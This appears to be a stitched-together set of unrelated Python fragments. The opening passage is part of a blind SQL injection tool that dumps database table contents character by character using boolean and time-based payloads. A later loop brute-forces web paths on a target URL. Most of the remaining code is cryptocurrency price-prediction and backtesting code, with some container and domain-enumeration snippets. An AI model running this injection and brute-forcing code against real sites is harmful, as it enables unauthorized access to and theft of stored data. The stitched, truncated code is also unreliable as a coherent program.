logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len),
desc='%dth Database sqli' % (limits + 1),
leave=False):
retVal = time_injection(
select="ascii(substring(" + column_name + "," +
repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isStrings=True,
sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
# 然后是post
elif self.sqlirequest == "POST":
logger.debug("The sqlirequest is %s, start sqli contents..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 首先是tablename的长度
content_len = normal_injection(
select="length(" + column_name + ")",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content
content = normal_injection(select=column_name,
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
isStrings=True,
sqlirequest=self.sqlirequest)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的length
retVal = build_injection(select="length(" + column_name + ")",
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len),
desc='%dth Content sqli' % (limits + 1),
leave=False):
retVal = build_injection(
select="ascii(substring(" + column_name + "," +
repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isStrings=True,
sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的length
retVal = time_injection(select="length(" + column_name + ")",
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len),
desc='%dth Database sqli' % (limits + 1),
leave=False):
retVal = time_injection(
select="ascii(substring(" + column_name + "," +
repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isStrings=True,
sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
logger.debug("Sqli table %s column %s limit %d success..." %
(table_name, column_name, limits))
def run_content(self):
if len(self.columns_name) == 0:
SqliColumns.get_columns(self)
# 循环解包，进入注入
for database_name in self.columns_name:
for table_name in self.columns_name[database_name]:
# 获取数据的条数，如果小于设置的self.content_count，那需要设置条数等于self.content_count
content_counts = self.get_content_count(
database_name, table_name)
if content_counts == 0:
logger.warning('Database %s Table %s is empty...' %
(database_name, table_name))
continue
elif content_counts != self.content_count:
logger.debug(
'Database %s Table %s content amount change to %d' %
(database_name, table_name, content_counts))
self.content_count = content_counts
else:
pass
# 声明一个表储存数据
content = PrettyTable(
list(self.columns_name[database_name][table_name]))
content.padding_width = 1
content.align = "r"
# 每个表都要注入指定条数那么多次
for limits in xrange(self.content_count):
# 声明一个队列，储存返回的值
result = Queue.Queue()
# 声明线程队列、结果队列和最终插入table的数据队列
threads = []
results = []
contents = []
# 开始多线程的注入
logger.debug("Start multithreading Sqli...")
for column_name in self.columns_name[database_name][
table_name]:
# 开始一个线程注入一个字段
try:
t = threading.Thread(
target=self.get_content,
name='thread for %s' % column_name,
args=(result, database_name, table_name,
column_name, limits))
t.start()
except ConnectionError:
logger.error('Thread error...')
pass
threads.append(t)
# 等待所有线程结束
for t in threads:
t.join()
# 注入处理返回数据，插入content中的一条
while not result.empty():
results.append(result.get())
# 处理返回的数据
for i in list(
self.columns_name[database_name][table_name]):
for item in results:
if item[0] == i:
contents.append(item[1])
else:
continue
# 插入数据
content_str = ','.join(contents)
logger.info("Sqli success content is %s" % content_str)
content.add_row(contents)
# 输出表
logger.debug("Database %s Table %s sqli success..." %
(database_name, table_name))
print "[*] Database %s Table %s content:" % (database_name,
table_name)
print content
def main():
index = load_dataset('all_merged', return_index=True)
for _sym, data in index.items():
features, target = get_symbol_features(index, _sym)
features_p = features[data['features']['ohlcv']].pct_change().replace(
[np.inf, -np.inf], np.nan)
features_p.columns = [c + '_p1' for c in features_p.columns]
features_1 = features_p.shift(1)
features_1.columns = [c + '_lag1' for c in features_1.columns]
features_2 = features_p.shift(2)
features_2.columns = [c + '_lag2' for c in features_2.columns]
features_mean = features_p.rolling(3).mean()
features_mean.columns = [c + '_mean_3' for c in features_mean.columns]
ta = features[data['features']['ta'] + data['features']['ta_7d'] +
data['features']['ta_30d']]
features = pd.concat([
features['close'], ta, features_p, features_1, features_2,
features_mean
],
axis=1)[30:]
target = target[30:]
# Split data in train and blind test set with 70:30 ratio,
# most ML models don't take sequentiality into account, but our pipeline
# uses a SimpleImputer with mean strategy, so it's best not to shuffle the data.
X_train, X_test, y_train, y_test = train_test_split(features.values,
target.values,
shuffle=False,
test_size=0.3)
logger.info("Start Feature Selection")
imp = SimpleImputer()
values = imp.fit_transform(X_train)
#sel = SelectKBest(score_func=f_classif, k=min(10, X_train.shape[1]))
feature_count = int(0.3 * X_train.shape[1])
sel = RFECV(estimator=RandomForestClassifier(),
cv=5,
verbose=0,
n_jobs=4,
min_features_to_select=feature_count,
scoring='neg_mean_squared_error')
sel.fit(values, y_train)
logger.info("End Feature Selection")
bestfeatures = [
c for c, f in zip(features.columns, sel.get_support()) if f
]
if not 'close' in bestfeatures:
bestfeatures += ['close']
print("Using features:\n{}".format(bestfeatures, len(bestfeatures)))
train_features = pd.DataFrame(X_train, columns=features.columns)
test_features = pd.DataFrame(X_test, columns=features.columns)
X_train = train_features[bestfeatures].values
X_test = test_features[bestfeatures].values
# Summarize distribution
print("Training set: # Features {}, # Samples {}".format(
X_train.shape[1], X_train.shape[0]))
plot_class_distribution("Training set", _sym, y_train)
print("Test set: # Features {}, # Samples {}".format(
X_test.shape[1], X_test.shape[0]))
plot_class_distribution("Test set", _sym, y_test)
if not np.isfinite(X_train).all():
logger.warning("Training x is not finite!")
if not np.isfinite(y_train).all():
logger.warning("Training y is not finite!")
if not np.isfinite(X_test).all():
logger.warning("Test x is not finite!")
if not np.isfinite(y_test).all():
logger.warning("Test y is not finite!")
# Build pipeline to be used as estimator in grid search
# so that each subset of the data is transformed independently
# to avoid contamination between folds.
pipeline = Pipeline([
(
'i', IterativeImputer()
), # Replace nan's with the median value between previous and next observation
('s', MinMaxScaler(feature_range=(-1, 1))),
('c', MLPClassifier()),
])
# Perform hyperparameter tuning of the ensemble with 5-fold cross validation
logger.info("Start Grid search")
CV_rfc = GridSearchCV(estimator=pipeline,
param_grid=PARAM_GRID,
cv=5,
n_jobs=4,
scoring='neg_mean_squared_error',
verbose=1)
CV_rfc.fit(X_train, y_train)
logger.info("End Grid search")
# Take the fitted ensemble with tuned hyperparameters
clf = CV_rfc.best_estimator_
# Test ensemble's performance on training and test sets
logger.info("Classification report on train set")
predictions1 = clf.predict(X_train)
train_report = classification_report(y_train,
predictions1,
output_dict=True)
print(classification_report(y_train, predictions1))
logger.info("Classification report on test set")
predictions2 = clf.predict(X_test)
test_report = classification_report(y_test,
predictions2,
output_dict=True)
print(classification_report(y_test, predictions2))
stats = {
'score': accuracy_score(y_train, predictions1),
'mse': mean_squared_error(y_train, predictions1),
'test_score': accuracy_score(y_test, predictions2),
'test_mse': mean_squared_error(y_test, predictions2),
'train_report': train_report,
'test_report': test_report,
}
print(CV_rfc.best_params_)
num_samples = min(y_train.shape[0], y_test.shape[0], 30)
print("Gains calculated on {} samples only!".format(num_samples))
print(
"Train Accuracy: {}\nTrain MSE: {}\nGains on train preds: 100 -> {}"
.format(
accuracy_score(y_train, predictions1),
mean_squared_error(y_train, predictions1),
test_gains(train_features['close'][0:num_samples],
predictions1[0:num_samples],
initial_balance=100,
position_size=0.1)))
print(
"Test Accuracy: {}\nTest MSE: {}\nGains on test preds: 100 -> {}".
format(
accuracy_score(y_test, predictions2),
mean_squared_error(y_test, predictions2),
test_gains(test_features['close'][0:num_samples],
predictions2[0:num_samples],
initial_balance=100,
position_size=0.1)))
print("--- end ---")
def build(source_index, dest_index, W=10):
_dataset = load_dataset(source_index, return_index=True)
for _sym, entry in _dataset.items():
_df = pd.read_csv(entry['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
_target = pd.read_csv(entry['target_csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
ohlcv = _df[entry['features']['ohlcv']]
ohlcv_d = {
d: _df[entry['features']['ohlcv_{}d'.format(d)]]
for d in [3, 7, 30]
}
ta_d = {
d: _df[entry['features']['ta_{}d'.format(d)]]
for d in [3, 7, 30]
}
ta = _df[entry['features']['ta']]
cm = _df[entry['features']['cm']]
cm_picked = pd.DataFrame(index=ohlcv.index)
if 'adractcnt' in cm.columns:
cm_picked['adractcnt_pct'] = cm.adractcnt.pct_change()
# cm_picked['adractcnt_mean3_pct'] = cm.adractcnt.rolling(3).mean().pct_change()
# cm_picked['adractcnt_mean7_pct'] = cm.adractcnt.rolling(7).mean().pct_change()
# if 'splycur' in cm.columns: ## Correlated with volume and close
# cm_picked['vol_supply'] = ohlcv.volume / cm.splycur # Ratio between transacted volume and total supply (mined)
if 'txtfrvaladjntv' in cm.columns and 'isstotntv' in cm.columns and 'feetotntv' in cm.columns:
# I want to represent miners earnings (fees + issued coins) vs amount transacted in that interval
cm_picked['earned_vs_transacted'] = (
cm.isstotntv + cm.feetotntv) / cm.txtfrvaladjntv
if 'isstotntv' in cm.columns:
# isstotntv is total number of coins mined in the time interval
# splycur is total number of coins mined (all time)
total_mined = cm.isstotntv.rolling(
365, min_periods=7).sum() # total mined in a year
cm_picked['isstot365_isstot1_pct'] = (cm.isstotntv /
total_mined).pct_change()
if 'splycur' in cm.columns and 'isstotntv' in cm.columns:
cm_picked['splycur_isstot1_pct'] = (cm.isstotntv /
cm.splycur).pct_change()
if 'hashrate' in cm.columns:
#cm_picked['hashrate_mean3_pct'] = cm.hashrate.rolling(3).mean().pct_change()
#cm_picked['hashrate_mean7_pct'] = cm.hashrate.rolling(7).mean().pct_change()
cm_picked['hashrate_pct'] = cm.hashrate.pct_change()
if 'roi30d' in cm.columns:
cm_picked['roi30d'] = cm.roi30d
if 'isstotntv' in cm.columns:
cm_picked['isstotntv_pct'] = cm.isstotntv.pct_change()
if 'feetotntv' in cm.columns:
cm_picked['feetotntv_pct'] = cm.feetotntv.pct_change()
if 'txtfrcount' in cm.columns:
cm_picked['txtfrcount_pct'] = cm.txtfrcount.pct_change()
#cm_picked['txtfrcount_volume'] = cm.txtfrcount.pct_change()
if 'vtydayret30d' in cm.columns:
cm_picked['vtydayret30d'] = cm.vtydayret30d
if 'isscontpctann' in cm.columns:
cm_picked['isscontpctann'] = cm.isscontpctann
ta_picked = pd.DataFrame(index=ta.index)
# REMA / RSMA are already used and well-estabilished in ATSA,
# I'm taking the pct change since i want to encode the relative movement of the ema's not their positions
# ta_picked['rema_5_20_pct'] = ta.rema_5_20.pct_change()
ta_picked['rema_8_15_pct'] = ta.rema_8_15.pct_change()
# ta_picked['rema_20_50_pct'] = ta.rema_20_50.pct_change()
# ta_picked['rsma_5_20_pct'] = ta.rema_5_20.pct_change()
ta_picked['rsma_8_15_pct'] = ta.rema_8_15.pct_change()
# ta_picked['rsma_20_50_pct'] = ta.rema_20_50.pct_change()
# Stoch is a momentum indicator comparing a particular closing price of a security to a range of its prices
# over a certain period of time.
# The sensitivity of the oscillator to market movements is reducible by adjusting that time period or
# by taking a moving average of the result.
# It is used to generate overbought and oversold trading signals, utilizing a 0-100 bounded range of values.
# IDEA => decrease sensitivity by 3-mean and divide by 100 to get fp values
ta_picked['stoch_14_mean3_div100'] = ta.stoch_14.rolling(
3).mean() / 100
#Moving Average Convergence Divergence (MACD) is a trend-following momentum indicator that shows
# the relationship between two moving averages of a security’s price.
# The MACD is calculated by subtracting the 26-period Exponential Moving Average (EMA) from the 12-period EMA.
# A nine-day EMA of the MACD called the "signal line," is then plotted on top of the MACD line,
# which can function as a trigger for buy and sell signals.
# Traders may buy the security when the MACD crosses above its signal line and sell - or short - the security
# when the MACD crosses below the signal line.
# Moving Average Convergence Divergence (MACD) indicators can be interpreted in several ways,
# but the more common methods are crossovers, divergences, and rapid rises/falls.
signal_line = builder.exponential_moving_average(ta.macd_12_26, 9)
ta_picked[
'macd_12_26_signal'] = signal_line # Relationship with signal line
ta_picked['macd_12_26_diff_signal'] = (
ta.macd_12_26 -
signal_line).pct_change() # Relationship with signal line
ta_picked['macd_12_26_pct'] = ta.macd_12_26.pct_change(
) # Information about slope
# PPO is identical to the moving average convergence divergence (MACD) indicator,
# except the PPO measures percentage difference between two EMAs, while the MACD measures absolute (dollar) difference.
signal_line = builder.exponential_moving_average(ta.ppo_12_26, 9)
ta_picked[
'ppo_12_26_signal'] = signal_line # Relationship with signal line
ta_picked['ppo_12_26_diff_signal'] = (
ta.ppo_12_26 -
signal_line).pct_change() # Relationship with signal line
ta_picked['ppo_12_26_pct'] = ta.ppo_12_26.pct_change(
) # Information about slope
# ADI Accumulation/distribution is a cumulative indicator that uses volume and price to assess whether
# a stock is being accumulated or distributed.
# The accumulation/distribution measure seeks to identify divergences between the stock price and volume flow.
# This provides insight into how strong a trend is. If the price is rising but the indicator is falling
# this indicates that buying or accumulation volume may not be enough to support
# the price rise and a price decline could be forthcoming.
# ==> IDEA: if we can fit a line to the price y1 = m1X+q1 and a line to ADI y2=m2X+q2 then we can identify
# divergences by simply looking at the sign of M.
# Another insight would be given by the slope (ie pct_change)
ta_picked['adi_pct'] = ta.adi.pct_change()
ta_picked['adi_close_convergence'] = convergence_between_series(
ta.adi, ohlcv.close, 3)
# RSI goes from 0 to 100, values <= 20 mean BUY, while values >= 80 mean SELL.
# Dividing it by 100 to get a floating point feature, makes no sense to pct_change it
ta_picked['rsi_14_div100'] = ta.rsi_14 / 100
# The Money Flow Index (MFI) is a technical indicator that generates overbought or oversold
# signals using both prices and volume data. The oscillator moves between 0 and 100.
# An MFI reading above 80 is considered overbought and an MFI reading below 20 is considered oversold,
# although levels of 90 and 10 are also used as thresholds.
# A divergence between the indicator and price is noteworthy. For example, if the indicator is rising while
# the price is falling or flat, the price could start rising.
ta_picked['mfi_14_div100'] = ta.mfi_14 / 100
# The Chande momentum oscillator is a technical momentum indicator similar to other momentum indicators
# such as Wilder’s Relative Strength Index (Wilder’s RSI) and the Stochastic Oscillator.
# It measures momentum on both up and down days and does not smooth results, triggering more frequent
# oversold and overbought penetrations. The indicator oscillates between +100 and -100.
# Many technical traders add a 10-period moving average to this oscillator to act as a signal line.
# The oscillator generates a bullish signal when it crosses above the moving average and a
# bearish signal when it drops below the moving average.
ta_picked['cmo_14_div100'] = ta.cmo_14 / 100
signal_line = builder.simple_moving_average(ta.cmo_14, 10)
ta_picked['cmo_14_signal'] = signal_line
ta_picked['cmo_14_diff_signal'] = (ta.cmo_14 - signal_line) / 100
# On-balance volume (OBV) is a technical trading momentum indicator that uses volume flow to predict changes in stock price.
# Eventually, volume drives the price upward. At that point, larger investors begin to sell, and smaller investors begin buying.
# Despite being plotted on a price chart and measured numerically,
# the actual individual quantitative value of OBV is not relevant.
# The indicator itself is cumulative, while the time interval remains fixed by a dedicated starting point,
# meaning the real number value of OBV arbitrarily depends on the start date.
# Instead, traders and analysts look to the nature of OBV movements over time;
# the slope of the OBV line carries all of the weight of analysis. => We want percent change
ta_picked['obv_pct'] = ta.obv.pct_change()
ta_picked['obv_mean3_pct'] = ta.obv.rolling(3).mean().pct_change()
# Strong rallies in price should see the force index rise.
# During pullbacks and sideways movements, the force index will often fall because the volume
# and/or the size of the price moves gets smaller.
# => Encoding the percent variation could be a good idea
ta_picked['fi_13_pct'] = ta.fi_13.pct_change()
ta_picked['fi_50_pct'] = ta.fi_50.pct_change()
# The Aroon Oscillator is a trend-following indicator that uses aspects of the
# Aroon Indicator (Aroon Up and Aroon Down) to gauge the strength of a current trend
# and the likelihood that it will continue.
# It moves between -100 and 100. A high oscillator value is an indication of an uptrend
# while a low oscillator value is an indication of a downtrend.
ta_picked['ao_14'] = ta.ao_14 / 100
# The average true range (ATR) is a technical analysis indicator that measures market volatility
# by decomposing the entire range of an asset price for that period.
# ATRP is pct_change of volatility
ta_picked['atrp_14'] = ta.atrp_14
# Percentage Volume Oscillator (PVO) is momentum volume oscillator used in technical analysis
# to evaluate and measure volume surges and to compare trading volume to the average longer-term volume.
# PVO does not analyze price and it is based solely on volume.
# It compares fast and slow volume moving averages by showing how short-term volume differs from
# the average volume over longer-term.
# Since it does not care a trend's factor in its calculation (only volume data are used)
# this technical indicator cannot be used alone to predict changes in a trend.
ta_picked['pvo_12_26'] = ta.pvo_12_26
# IGNORED: tsi, wd, adx,
#lagged_stats = pd.concat([ohlcv_stats] + [builder.make_lagged(ohlcv_stats, i) for i in range(1,10+1)], axis='columns', verify_integrity=True, sort=True, join='inner')
# Build the dataframe with base features
# lagged_close = pd.concat([ohlcv.close.pct_change()] + [builder.make_lagged(ohlcv.close.pct_change(), i) for i in range(1,10+1)], axis='columns', verify_integrity=True, sort=True, join='inner')
# lagged_close.columns = ['close_pct'] + ['close_pct_lag-{}'.format(i) for i in range(1, W +1)]
ohlc = ohlcv[['open', 'high', 'low', 'close', 'volume']].pct_change()
ohlc.columns = ['{}_pct'.format(c) for c in ohlcv.columns]
lagged_ohlc_pct = pd.concat(
[ohlc] + [builder.make_lagged(ohlc, i) for i in range(1, W + 1)],
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
_time = pd.DataFrame(index=ohlcv.index)
_time['day_of_year'] = ohlcv.index.dayofyear
_time['day_of_week'] = ohlcv.index.dayofweek
ohlc = ohlcv[['open', 'high', 'low', 'close', 'volume']]
x_space = np.linspace(0, ohlc.index.size, ohlc.index.size)
_splines = pd.DataFrame(index=ohlcv.index)
# Highly correlated between themselves, no use
# _splines['open_spl'] = get_spline(ohlc.open, 0)
# _splines['high_spl'] = get_spline(ohlc.high, 0)
# _splines['low_spl'] = get_spline(ohlc.low, 0)
# _splines['close_spl'] = get_spline(ohlc.close, 0)
_splines['open_spl_d1'] = builder.get_spline(ohlc.open, 1)
_splines['high_spl_d1'] = builder.get_spline(ohlc.high, 1)
_splines['low_spl_d1'] = builder.get_spline(ohlc.low, 1)
_splines['close_spl_d1'] = builder.get_spline(ohlc.close, 1)
_splines['open_spl_d2'] = builder.get_spline(ohlc.open, 2)
_splines['high_spl_d2'] = builder.get_spline(ohlc.high, 2)
_splines['low_spl_d2'] = builder.get_spline(ohlc.low, 2)
_splines['close_spl_d2'] = builder.get_spline(ohlc.close, 2)
_patterns = builder.get_talib_patterns(ohlcv)
_new_features = pd.DataFrame(index=ohlcv.index)
_new_features['candlestick_patterns_mean'] = _patterns.mean(axis=1)
_new_features['candlestick_patterns_sum'] = _patterns.sum(axis=1)
# WE LIKE THESE TWO!!!!
_new_features['close_volatility_7d'] = ohlcv.close.pct_change(
).rolling(7).std(ddof=0)
_new_features['close_volatility_30d'] = ohlcv.close.pct_change(
).rolling(30).std(ddof=0)
#
# Candle body size variation, for example
_new_features['close_open_pct'] = (
ohlcv.close - ohlcv.open
).pct_change() # Change in body of the candle (> 0 if candle is green)
_new_features['high_close_dist_pct'] = (
ohlcv.high - ohlcv.close
).pct_change(
) # Change in wick size of the candle, shorter wick should be bullish
_new_features['low_close_dist_pct'] = (
ohlcv.close - ohlcv.low
).pct_change(
) # Change in shadow size of the candle, this increasing would indicate support (maybe a bounce)
_new_features['high_low_dist_pct'] = (
ohlcv.high - ohlcv.low
).pct_change(
) # Change in total candle size, smaller candles stands for low volatility
for d in [3, 7, 30]:
ohlcv_d[d].columns = ['close', 'high', 'low', 'open', 'volume']
_new_features['close_open_pct_d{}'.format(d)] = (
ohlcv_d[d].close - ohlcv_d[d].open).pct_change()
_new_features['high_close_dist_pct_d{}'.format(d)] = (
ohlcv_d[d].high - ohlcv_d[d].close).pct_change()
_new_features['low_close_dist_pct_d{}'.format(d)] = (
ohlcv_d[d].close - ohlcv_d[d].low).pct_change()
_new_features['high_low_dist_pct_d{}'.format(d)] = (
ohlcv_d[d].high - ohlcv_d[d].low).pct_change()
_ta_windowed_features = pd.concat([
v.rename(columns={c: '{}_ta{}d'.format(c, d)
for c in v.columns}) for d, v in ta_d.items()
],
axis=1)
# Add lagged features to the dataframe
ta.columns = ['{}_ta1d'.format(c) for c in ta.columns]
feature_groups = [
_new_features, _splines, lagged_ohlc_pct, cm_picked, ta_picked,
_ta_windowed_features, ta
]
improved_df = pd.concat(feature_groups,
axis='columns',
verify_integrity=True,
sort=True,
join='inner')
# Drop the first 30 rows
improved_df = improved_df[30:]
# Drop columns whose values are all nan or inf
with pd.option_context('mode.use_inf_as_na',
True): # Set option temporarily
improved_df = improved_df.dropna(axis='columns', how='all')
logger.info('Saving {}'.format(_sym))
save_symbol_dataset(dest_index, _sym, improved_df, target=_target)
logger.info('Saved {}'.format(_sym))
def stop_container(self, name=None, id=None):
for c in self.containers.values():
if (not name and not id) or id==c['Id'] or (name and name in c['Names']):
self.client.kill(c['Id'])
self.client.remove_container(c['Id'], force=True)
L.info("Stopped container %(Name)s (%(Status)s)"%c)
def run(self):
domain_list = self.enumerate()
for domain in domain_list:
self.domain_name.append(domain)
logger.info("{0} found {1} domains".format(self.engine_name, len(self.domain_name)))
return self.domain_name,self.smiliar_domain_name,self.related_domain_name,self.email
def trading_day(day, symbols, signals, order_size=0.1, history=None):
if not signals.shape[0] and not signals.shape[1]:
return
session = DBSession()
result = pd.DataFrame()
exchange = Exchange(session)
for s in symbols:
# If there's no signal for this coin, close the position
if not s in signals.columns:
continue
signal = signals['{}'.format(s)].iloc[0]
close = signals['{}_close'.format(s)].iloc[0]
label = signals['{}_label'.format(s)].iloc[0]
if np.isnan(signal) or np.isnan(close): # If signal is nan
continue
# if history is not None and not history.empty:
# signal_history = history['{}'.format(s)]
# close_history = history['{}_close'.format(s)]
# label_history = history['{}_label'.format(s)]
# precision = precision_score(label_history.values, signal_history.values, average='micro', zero_division=True)
# Fit an spline on available historical data, needs at least 7 days of activity
#history_length = close_history.shape[0]
#if history_length > 0:
# Check last label is correct
#check_signal(label_history.values[-1], close, close_history.values[-1])
#--
# hist = close_history.copy()
# hist.loc[day] = close
# pct = hist.pct_change().values[-1]
# if history_length >= 7:
# x_space = np.linspace(0, history_length - 1, history_length)
# close_spline = UnivariateSpline(x_space, close_history.values, s=0, k=4)
# d1 = close_spline(history_length - 1, nu=1)
# d2 = close_spline(history_length - 1, nu=2)
# logger.info(
# "[Trading day: {}] {} | Signal: {} True: {} Precision: {} | Close: {} Pct: {} d1: {} d2: {}".format(
# day, s, signal, label, precision, close, pct, d1, d2
# ))
# else:
# logger.info("[Trading day: {}] {} | Signal: {} True: {} Precision: {} | Close: {} Pct: {}".format(
# day, s, signal, label, precision, close, pct
# ))
#signal = label
# Grab balance for current symbol
asset = exchange.get_or_create_asset(s, margin_fiat=10000, coins=0)
#
# Order management
#
# Manage LONG orders
open_longs = exchange.get_open_long(asset)
for o in open_longs:
# If close meets stop loss, close position
if o.should_stop(close):
logger.info(
'[Day: {}] Closing long position {} on {} due to stop loss'
.format(day, o.id, o.symbol))
exchange.close_order(day, asset, o, o.stop_loss)
continue
# If signal is SELL or position has a 1% profit
if signal == SignalType.SELL:
logger.info(
'[Day: {}] Closing long position {} on {} due to SELL signal'
.format(day, o.id, o.symbol))
exchange.close_order(day, asset, o, close)
continue
# Manage SHORT orders
open_shorts = exchange.get_open_short(asset)
for o in open_shorts:
# If close meets stop loss, close position
if o.should_stop(close):
logger.info(
'[Day: {}] Closing short position {} on {} due to stop loss'
.format(day, o.id, o.symbol))
exchange.close_order(day, asset, o, o.stop_loss)
continue
# If signal is BUY we're going to lose money, so we close position
if signal == SignalType.BUY:
logger.info(
'[Day: {}] Closing short position {} on {} due to BUY signal'
.format(day, o.id, o.symbol))
exchange.close_order(day, asset, o, close)
continue
# If signal is HOLD and position is old
if o.get_age_in_days(day) > 2 and signal == SignalType.HOLD:
logger.info(
'[Day: {}] Closing short position {} on {} due to age'.
format(day, o.id, o.symbol))
exchange.close_order(day, asset, o, close)
continue
#
# Open new positions
#
# Determine position sizing
position_coins = asset.position_size(close, order_size)
# Open the order
if signal == SignalType.BUY:
logger.info(
'[Day: {}] Opening long position on {} due to BUY signal [Close {}, Price {}, Coins {}]'
.format(day, s, close, position_coins * close, position_coins))
o = exchange.open_order(day,
OrderType.LONG,
asset,
position_coins,
close,
stop_loss=-0.01) # Stop loss is -1%
if not o:
logger.error("LONG FAILED")
elif signal == SignalType.SELL:
logger.info(
'[Day: {}] Opening short position on {} due to BUY signal [Close {}, Price {}, Coins {}]'
.format(day, s, close, position_coins * close, position_coins))
o = exchange.open_order(day,
OrderType.SHORT,
asset,
position_coins,
close,
stop_loss=0.01) # Stop loss is +1%
if not o:
logger.error("SHORT FAILED")
# Add result to dataframe
result.loc[day, s] = asset.equity(close)
session.commit()
return result
for brute in attempt_list:
url = "%s%s" % (target_url, urllib.quote(brute))
# print url
try:
headers = {}
headers["User-Agent"] = conf['ua']
r = urllib2.Request(url, headers=headers)
# pbar.update(1)
try:
response = urllib2.urlopen(r, timeout=2)
except:
logger.error("Time out...")
continue # 有可能卡死
# 请求完成后睡眠
time.sleep(stime)
if response.code != 404:
logger.info("Get !!!!" + url)
tqdm.write("[%d] => %s" % (response.code, url))
except urllib2.URLError, e:
if hasattr(e, 'code') and e.code != 404:
tqdm.write("!!! %d => %s" % (e.code, url))
logger.info("The dictionary queue is empty")
pbar.close()
exit(0)
def getDetection():
logger.info("Received %s" %(request.url))
return json.dumps(active.getDetection())
def getDetection():
global DETECTION
logger.info("DETECTION status %s" %(str(DETECTION)))
return DETECTION
def print_banner(self):
logger.info("Searching now in {0}..".format(self.engine_name))
return
def main():
index = load_dataset('all_merged', return_index=True)
resultFile = './data/datasets/all_merged/estimators/randomforest_hyperparameters.json'
estFile = './data/datasets/all_merged/estimators/randomforest_{}.p'
hyperparameters = {}
for _sym, data in index.items():
features = pd.read_csv(data['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
# Replace nan with infinity so that it can later be imputed to a finite value
features = features.replace([np.inf, -np.inf], np.nan)
# Derive target classes from closing price
target_pct = target_price_variation(features['close'])
target = target_binned_price_variation(target_pct, n_bins=2)
# target = target_discrete_price_variation(target_pct)
# Split data in train and blind test set with 70:30 ratio,
# most ML models don't take sequentiality into account, but our pipeline
# uses a SimpleImputer with mean strategy, so it's best not to shuffle the data.
X_train, X_test, y_train, y_test = train_test_split(features.values,
target.values,
shuffle=False,
test_size=0.3)
# Summarize distribution
print("Training set: # Features {}, # Samples {}".format(
X_train.shape[1], X_train.shape[0]))
plot_class_distribution("Training set", _sym, y_train)
print("Test set: # Features {}, # Samples {}".format(
X_test.shape[1], X_test.shape[0]))
plot_class_distribution("Test set", _sym, y_test)
if not np.isfinite(X_train).all():
logger.warning("Training x is not finite!")
if not np.isfinite(y_train).all():
logger.warning("Training y is not finite!")
if not np.isfinite(X_test).all():
logger.warning("Test x is not finite!")
if not np.isfinite(y_test).all():
logger.warning("Test y is not finite!")
# Build pipeline to be used as estimator in bagging classifier
# so that each subset of the data is transformed independently
# to avoid contamination between folds.
pipeline = Pipeline([
(
'i', SimpleImputer()
), # Replace nan's with the median value between previous and next observation
(
's', RobustScaler()
), # Scale data in order to center it and increase robustness against noise and outliers
#('k', SelectKBest()), # Select top 10 best features
#('u', RandomUnderSampler()),
('c', RandomForestClassifier()),
])
# Perform hyperparameter tuning of the ensemble with 5-fold cross validation
logger.info("Start Grid search")
CV_rfc = GridSearchCV(estimator=pipeline,
param_grid=RANDOMFOREST_PARAM_GRID,
cv=5,
n_jobs=4,
scoring='neg_mean_squared_error',
verbose=1)
CV_rfc.fit(X_train, y_train)
logger.info("End Grid search")
# Take the fitted ensemble with tuned hyperparameters
clf = CV_rfc.best_estimator_
# Test ensemble's performance on training and test sets
logger.info("Classification report on train set")
predictions1 = clf.predict(X_train)
print(classification_report(y_train, predictions1))
logger.info("Classification report on test set")
predictions2 = clf.predict(X_test)
print(classification_report(y_test, predictions2))
stats = {
'score': accuracy_score(y_train, predictions1),
'mse': mean_squared_error(y_train, predictions1),
'test_score': accuracy_score(y_test, predictions2),
'test_mse': mean_squared_error(y_test, predictions2),
